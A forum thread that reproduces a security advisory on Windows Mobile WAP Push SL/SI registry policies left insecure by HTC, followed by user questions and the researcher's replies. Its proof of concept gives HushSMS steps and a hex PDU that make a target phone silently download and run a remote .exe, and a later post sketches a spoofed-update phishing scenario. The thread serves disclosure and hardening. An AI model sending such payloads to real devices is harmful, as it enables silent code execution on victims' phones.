[Security Advisory] Manufacturers leave device open for WAP-Push based attacks

Windows Mobile Security Advisory: Manufacturers leave device open for WAP-Push based attacks
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Description:
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WAP Push SI (Service Indication) and SL (Service Load) are so called "Service SMS". These messages are used by operators to notify about software updates or to deploy them directly. Microsoft implemented a security policy to ensure that these messages are accepted only from trusted orginators. This policy is defined in the device registry. If improper settings are applied to this policy attackers can send malicious content to the device which then displays or executes the content immediately. This leaves the device open for further attack scenarios.


Workaround / Fixes:
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Open your device registry and navigate to:

HKLM\Security\Policies\Policies

Check the values of the following DWORDs:

0x0000100c
and
0x0000100d

Microsofts recommends the following values for these:

0x0000100c : 0x800

0x0000100d : 0xc00

If they are for example 0x840 and 0xc40 your device is wide open and vulnerable. Change the keys to

the Microsoft recommendation. They are effective immediately.

Proof of concept:
-----------------
For testing purposes check the above registry keys and set them to a faulty value (like the above

0x840 and 0xc40). Then use a program like PDUSpy or HushSMS to do some testings.
HushSMS is able to send these kind of messages from windows mobile based devices.
Get HushSMS from http://www.silentservices.de/HushSMS.html
Download the latest version (currently v0.6beta) and install it on your device.
Execute HushSMS and type in the number of the receipient windows mobile phone.
In the message body field type in the following (note without a leading HTTP://!!!):
www.silentservices.de/wapsltest.exe
Click Send->Send WAPSL
Watch your target device. If it starts connecting via GPRS it will then download the above sample

program and executes it immediatly without user interaction.

If you want to test your target device with PDUSpy use the follwing sample message:

UDH: 05040b8423f0

Message(hex):

DC0605B0AF82B48302066A008509037777772e73696c656e7473657276696365732e64652f77617074657374736c2e65786

5000501

Edit: Added a youtube video in post #4


EDIT 19.09.2008: Some clarifications

Well, I received my brand new raphael two weeks ago and guess what, the values set by HTC by default are even more worse.
They set 4108 (0x100c) to 0x840
and set 4109 (0x100d) to 0x40
These means in detail:
Accept WAP Push Service Load Messages orgination from authenticated and trusted PPGs (Push Proxy Getways) AND any.
Accept WAP Push Service Indication Messages origination from any.

Hell, I informed HTC a long while ago about these issues, I wrote them several mails but all I got was some standard response like "Thank you, we will look into it".

However some may say:"Hey that's not that worse, I have opera set as my default browser and opera asks me each time what I want to do with this automagically downloaded file, so I'm safe as I always click on drop or simply close my opera window."
Well, since this is fine for people who "know what they are doing", but is is not for or these other people around there taht are using these devices and even don't have clue about what WAP Push is or what a security policy is or simply don't mind on clicking "accept" each time a message pops up ( and trust me when I say there are more people like this out there as you may guess).

Imagine the following scenario:
A malicious freak sets up a domain which is called www.htcupdateservice.com and hosts dangerous files on that domain. Now he sends out WAP Push SL messages to normal users of Windows Mobile phones with these faulty settings with the text:"HTC has to inform you about a critical security update. Donwload ist at http://www.htcupdateservice.com/Update3.6.9.exe"
What do you guess what enough people out there will do? Do you really think that most people that are not trained about security won't click on execute or download in their opera browser?
And what about people that dont have opera set as their default browser? You guessed right, the file will be downloaded and executed without user interaction. BOOM...

Here's another scenario:
Imagine a security vunlerability in opera mobile is discovered that can be exploited if the user visits a malicious webpages. You can guess how someone can force the user to visit this infectious webpage, can't you? ;-)
Or, let's say a malicious freak on the net sets up a webpages that utilizes CSRF attacks, or XSS, or whatever web based attack you may know. Using WAP Push SL messages he can force your browser to become the attacker and the victim with only one message.

It's up to you to care about this or not since HTC doesn't seem to care.

Cheers

tmknight said:

This is good info, though I don't see it as a huge hole since there is still opportunity to block the file by the end-user...which ultimately is required in both settings scenarios to stop the file executing.

From where are you getting these alerts, MSDN? I'd like to get in on receiving them.

Click to expand...

Click to collapse

For SI you are right since the user only gets notified with an URL, but I would call it a huge whole for the SL things. SL messages get executed by the device immediately without the user having a way to block or stop this (if the message is set up accordingly; there are 3 message options as per standard and I refer to the silent execution flag).
If you are watching your device while the messages comes in you can see that a gprs connection is beeing made (if you are connected the whole time with an unlimited data plan for example you wouldnt even notice this).
Just give it try with the method I posted in the advisory with HushSMS (not advertising my program here, just giving a proof of concept).

Both advisories are made by me since I dicovered both flaws.

Cheers

I just made a youtube video to demonstrate what this vulnerability means.

Watch it here: http://de.youtube.com/watch?v=QhJ5SgD-bdQ

tmknight said:

I did try it before I posted and my results in each instance (default and with suggested fix) incurred a user prompt. Albeit the default setting did not prompt for the executable to run, but still was prompted to download via IE - recommeded setting prompts at download and execution (see signature for my setup).

Like I said it is good info and indeed a security risk.

Click to expand...

Click to collapse

Well this is interesting. So you say you had the same faulty registry keys like the new kaiser wm 6.1 rom had? (100c and 100d set to 840 and c40)
As you may have seen in the video my IE simply did not ask to open the file. It just gets executed...
Well, then at least your IE settings saved you from getting r00ted

tmknight said:

Will you share from where this info came?

Click to expand...

Click to collapse

This vulnerability was researched by me about 1 year ago. But the default settings for SL and SI messages was always set correct in the last ROM versions for the devices I had. I just looked at the default settings on this new kaiser rom and found that they left it open for whatever reason and so I published this advisory. I already contacted HTC and am waiting for a response.

Desigen said:

... I changed them to 840 & c40 and send a test message as you suggest and it's started downloading after a period of time without asking me.

I changed it back to Microsoft recommends and send a new messeage again but it didn't appear in inbox message and my cell didn't notifcate me about new WAP PUSH message.
...

Click to expand...

Click to collapse

I don't understand what exactly your promblem is with. If you set the Microsoft recommended values it simply tell the device which security policy to apply to wich kind of messages. In the case of the two values the settings say that WAP-Push SL & SI messages have to come from trusted push proxy gateways. If you set them to the faulty values (840&c40) the device accepts these kind of messages coming from any. If the correct (or recommended) values are set the device simply drops or discards the messages without any user notification. So your described behaviour looks normal to me.


(Note: for those who are familiar with device roles and policies, I'm not going into deep here to avoid confusion)

nolovelust said:

hi, i've got htc raphael and values are

0x0000100c : 0x800

0x0000100d : 0x40

not
0x0000100c : 0x800

0x0000100d : 0xc00

but still flaw works. luckly i have opera as default browser but i wanted to findout how can achive download only option.

also by changing to those suggested values do i disable my phones wappush message receive capability?

thanks

Click to expand...

Click to collapse

Well 0x800 for 0x100c is fine but 0x40 for 0x100d is not.

Policy 4108 (0x100c) handles WAP Push Service Load (SL) Messages
Policy 4109 (0x100d) handles WAP Push Service Indication (SI) Messages

So if policy 4109 (0x100d) is set to 40 this means that the device will accept messages from any instead of trusted push proxy gateways only.
So the settings you wrote above mean the following:

4108 (0x100c) = 0x800 : Accept WAP Push Service Load (SL) messages only from trusted and authenticated push proxy gateways

4109 (0x100d) = 0x40 : Accept WAP Push Service Indication messages from any originator and no authentication is needed

While Service Indication messages are not as harmful as Service Load messages, they still can try to fool people into clicking the download now option. Since the orginator is hidden and you only see network message as the sender, this kind of attack can be used to spoof valid operator messages.
I suggest you set 4109 (0x100d) to a value of 0xc40.

These settings do not prevent your device from receiving these kind of messages, but they have to come from an authenticated and trusted push proxy gateway or source.

Desigen said:

Thanks for fast replay,

My problem is that I don't get notification from my mobile about new WAP-Push Messagess. I think when I receive an new one it must be in the inbox. My problem is, WAP-Push Messagess doesn't appear in the SMS/inbox folder.

Thanks

Click to expand...

Click to collapse

Which kind of wap push message are you talking about?

For those that would like to read more about security policies and roles on windows mobile google for:
"Security Model For Windows Mobile 5.0 and Windows Mobile 6"

Desigen said:

...

As A test. I sent a WAPSL message using HushSMS to my phone it done not do anything. I sent one to Nokia Device it's reading it and give me an option to download the content...

Click to expand...

Click to collapse

Ah, OK, now I got you. Well, if the policy is set right your device will discard the message you sent with HushSMS because it is not coming from a trusted and authenticated source. But you should still be able to receive these messages from your service provider if your device is properly provisioned.
The fact that you can receive them on your nokia just indicates that nokia also has lazy security settings for these kind of messages.
If you cannot receive your ringtone from your provider when the correct policy settings are applied it seems that your device is not provisioned to trust your service provider. I suggest you enable it temporary by setting the unsecure values and after receiption of your ringtones reset them to the secure values.

Some clarifications

Well, I received my brand new raphael two weeks ago and guess what, the values set by HTC by default are even more worse.
They set 4108 (0x100c) to 0x840
and set 4109 (0x100d) to 0x40
These means in detail:
Accept WAP Push Service Load Messages orgination from authenticated and trusted PPGs (Push Proxy Getways) AND any.
Accept WAP Push Service Indication Messages origination from any.

Hell, I informed HTC a long while ago about these issues, I wrote them several mails but all I got was some standard response like "Thank you, we will look into it".

However some may say:"Hey that's not that worse, I have opera set as my default browser and opera asks me each time what I want to do with this automagically downloaded file, so I'm safe as I always click on drop or simply close my opera window."
Well, since this is fine for people who "know what they are doing", but is is not for or these other people around there taht are using these devices and even don't have clue about what WAP Push is or what a security policy is or simply don't mind on clicking "accept" each time a message pops up ( and trust me when I say there are more people like this out there as you may guess).

Imagine the following scenario:
A malicious freak sets up a domain which is called www.htcupdateservice.com and hosts dangerous files on that domain. Now he sends out WAP Push SL messages to normal users of Windows Mobile phones with these faulty settings with the text:"HTC has to inform you about a critical security update. Download it at http://www.htcupdateservice.com/Update3.6.9.exe"
What do you guess what enough people out there will do? Do you really think that most people that are not trained about security won't click on execute or download in their opera browser?
And what about people that dont have opera set as their default browser? You guessed right, the file will be downloaded and executed without user interaction. BOOM...

Here's another scenario:
Imagine a security vunlerability in opera mobile is discovered that can be exploited if the user visits a malicious webpages. You can guess how someone can force the user to visit this infectious webpage, can't you? ;-)
Or, let's say a malicious freak on the net sets up a webpages that utilizes CSRF attacks, or XSS, or whatever web based attack you may know. Using WAP Push SL messages he can force your browser to become the attacker and the victim with only one message.

It's up to you to care about this or not since HTC doesn't seem to care.

Cheers

Desigen said:

Hi,

It seems that the value 0x40 for 0x100d working well for me I received notification and the message stored in the inbox, any idea !!

But I don't know who changed the both value to be 0x480 & 0xc00

Something to mention, two weeks ago I received my first WAP-Push but it was sent from unauthorized source !

Click to expand...

Click to collapse

It seems you misunderstood me, or I'm simply not getting your point here.
Yes, with a value of 0x40 for 0x100d you can receive WAP Push SI messages from anyone. This might become a risk. The secure setting for this policy is 0xc00. This will save you from unwanted SI messages but may block your providers ringtone messages.
The default values you had where set from HTC (or whatever ROM you migth have installed) with the delivery of the ROM that is installed on the device. That's the final point of the advisory. The ROM manufacturer has left the device open for these kind of attacks.

However a final word in our little discussion:
If you want to be able to receive WAP Push messages from an untrusted and unauthenticated source then leave the settings as they were at the beginning. Be warned as this may be a security risk.
If you don't want to receive WAP Push messages from untrusted and unsauthenticated origins, then change the values as described in the first post.
As a rule of thumb: If you want to receive these messages, even if they come from untrusted and unauthenticated sources, but only want this temporary (for example if you know that your provider will send you a ringtone in the next minutes) then set the values to 0x40 each and after you received what you want reset them to the recommended values on the first post.

I'm out...

cheers